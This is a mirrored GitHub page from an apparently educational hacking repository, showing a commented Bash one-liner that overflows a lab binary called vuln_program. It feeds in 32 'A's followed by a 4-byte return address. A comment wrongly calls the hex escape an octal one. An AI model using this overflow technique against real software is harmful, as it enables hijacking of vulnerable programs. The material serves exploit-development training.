mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-24 20:03:02 +00:00
15 lines
1,011 B
Bash
15 lines
1,011 B
Bash
#!/bin/bash
|
|
# Simple one-liner script to exploit the vuln_program buffer overflow
|
|
# Author: Omar Santos @santosomar
|
|
# Explanation:
|
|
# echo -en is used to enable interpretation of backslash escapes and turns off
|
|
# the default behavior of the echo command which is to add a newline at the end of the output.
|
|
# $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
|
|
# $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
|
|
# This command will output a string of 32 'A's followed by that 4 bytes value.
|
|
# Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc)
|
|
# and different platforms (like Linux, MacOS, Windows) so the command could produce different results
|
|
# depending on the environment where you run it.
|
|
|
|
|
|
echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program
|